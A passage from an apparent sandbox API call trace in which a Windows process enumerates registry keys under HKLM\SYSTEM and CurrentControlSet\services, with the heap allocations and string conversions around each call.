cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0173.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0173.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.946] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0173.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0173.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.946] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0173.946] RegCloseKey (hKey=0x80000002) returned 0x0 [0173.946] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0173.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0173.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.947] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0173.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0173.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.947] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0173.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0173.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1d18, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0173.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.947] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0173.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0173.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.947] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0173.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0173.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.948] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0173.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0173.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.948] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0173.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0173.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.948] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0173.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0173.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.948] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0173.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0173.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.949] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0173.949] RegCloseKey (hKey=0x9c) returned 0x0 [0173.949] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0173.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0173.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.949] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0173.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0173.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0173.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.949] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0173.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0173.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.950] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0173.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0173.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.950] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0173.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0173.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.950] RegOpenKeyExW (in: hKey=0x140, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0173.950] RegCloseKey (hKey=0x140) returned 0x0 [0173.950] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0173.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0173.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.951] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0173.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0173.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a00, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0173.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.951] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0173.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1d18, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0173.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.951] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0173.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0173.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a00, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0173.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.951] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0173.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data 